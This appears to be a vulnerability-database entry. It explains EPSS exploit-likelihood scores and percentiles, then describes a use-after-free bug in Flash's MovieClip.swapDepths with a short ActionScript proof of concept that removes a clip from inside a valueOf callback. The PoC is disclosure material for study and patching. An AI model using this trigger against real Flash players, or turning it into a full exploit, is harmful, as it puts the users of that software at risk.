EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

There is a use-after-free in MovieClip.swapDepths, a POC is as follows:
var clip1 = this.createEmptyMovieClip("clip1", 1);
var clip2 = this.createEmptyMovieClip("clip2", 2);
var n = {valueOf: func, toString: func};
clip1.swapDepths(n);
function func(){
clip1.removeMovieClip();
//_root.createEmptyMovieClip("test", 1);
trace("here");
return "clip2";
}
A swf and fla are attached.
